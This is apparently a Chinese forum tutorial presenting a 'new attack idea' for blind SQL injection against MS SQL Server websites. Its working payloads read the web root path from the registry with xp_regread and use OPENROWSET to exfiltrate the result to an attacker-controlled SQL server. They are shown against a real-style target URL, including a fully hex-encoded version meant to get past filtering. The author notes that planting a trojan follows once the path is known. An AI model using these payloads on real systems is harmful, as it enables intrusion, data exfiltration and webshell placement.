跨站式SQL注入攻擊思路
SQL可以連接外部的資料庫。。
於是,首先用查詢分析器,登陸到我自己的一個虛擬主機的資料庫(這樣的許可權比較小),然後在本地啟動一個SQL server,並且用SA的身份在SQL事件探測器裡邊建立一個跟蹤。
嘗試 sp_addlinkedserver 如果成功,那就和操作本地資料庫一樣了。。
提示必須是sysadmin的身份。。失敗。。
換一個思路:
只要你SQL敢發命令過來,我不管執行的結果怎麼樣,只要接獲到命令就可以了。。
於是考慮到一個許可權要求不是很高的命令:OPENROWSET 來跨伺服器查詢。。這個命令作用是把一個資料庫命令發給遠程的資料庫,取回來結果集。。於是就啟動「事件跟蹤」監視發過來的命令。。
第一次嘗試,首先還是執行 create table [dbo].[laokai]([cha8][char](255))--建立一個表。隨後是把路徑寫入資料庫,這裡我考慮,直接生成一個跨庫的腳本算了。好方便執行。。
DECLARE @result varchar(255) exec master.dbo.xp_regread HKEY_LOCAL_MACHINE,SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots, / ,@result output insert into laokai (cha8) values(SELECT a.* FROM OPENROWSET(SQLOLEDB,你的IP;sa;密碼, SELECT * FROM pubs.dbo.authors where au_fname= + @result + )AS a);--
這段代碼什麼意思哪?就是把網站的路徑信息寫入資料庫。。也不是單純的寫,寫得同時構造一個SQL語句,這個語句的執行結果是給laokai這個資料庫的cha8欄位增加了這樣的一行記錄。
SELECT a.* FROM OPENROWSET(SQLOLEDB,你的IP;sa;密碼, SELECT * FROM pubs.dbo.authors where au_fname=C:Inetpub,,1)AS a
其中的C:Inetpub,,1就是註冊表記錄的根目錄,最後要做的是:
DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
這樣就等於執行了
SELECT a.* FROM OPENROWSET(SQLOLEDB,你的IP;sa;密碼, SELECT * FROM pubs.dbo.authors where au_fname=C:Inetpub,,1)AS a
這一條語句。。。同時你會在事件探測器那邊會顯示
SELECT * FROM pubs.dbo.authors where au_fname=C:Inetpub,,1
其中的C:Inetpub 就是網站的路徑。。調試成功。。
現在進入實戰階段。。某網站屏蔽了全部出錯信息。。但是我們可以確定它存在注入點 a.asp?id=1,怎麼做呢?
a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--
返回正常,我們建立了一個叫laokai的表,有個欄位叫cha8,然後:
a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread HKEY_LOCAL_MACHINE,SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots, / ,@result output insert into laokai (cha8) values(SELECT a.* FROM OPENROWSET(SQLOLEDB,你的IP;sa;密碼, SELECT * FROM pubs.dbo.authors where au_fname= + @result + )AS a);--
出錯了。。出錯信息被屏蔽了。。怎麼辦?經過研究發現是裡邊的某些字元例如 +號需要轉化成16進位。。或許還有別的地方要轉化。。怎麼辦啊?
於是寫了一個ASCII轉化16進位的工具,把全部的代碼轉化一下,然後注入就OK了。。(工具的下載地址 http://www.cha8.com/ascii.rar 麻煩放入光碟,不要讓他們下,我的伺服器受不了),最後自然是執行上述語句了。。
a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%29%20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27%27%53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27%53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%75%5F%66%6E%61%6D%65%3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20
執行成功。。。
a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
網站那邊顯示還是正常頁面。。但是你這邊的事件探測器那邊會顯示:
注入成功。。後邊知道了絕對路徑,如何添加木馬的文章就很多了。。這裡就不再描述了。。
最後說明一下:這只是一個新型的攻擊思路的講解,讓大家通過另外一種方式把資料庫裡邊的數據取出來。。
SELECT * FROM pubs.dbo.authors where au_fname= + @result + 部分,修改成insert把數據加入資料庫也應該沒有問題。。甚至單獨保留 @result 都沒問題。。不過這樣那邊會出錯。
推薦閱讀:
※死做10000道數學題,不如活讀這10本趣味數學書
※數學概念、方法、題型、易誤點技巧總結——集合與簡易邏輯
※零如何做除數
※數學閱讀不應成為失落的世界
※北大「數學才子」柳智宇果真遁入佛門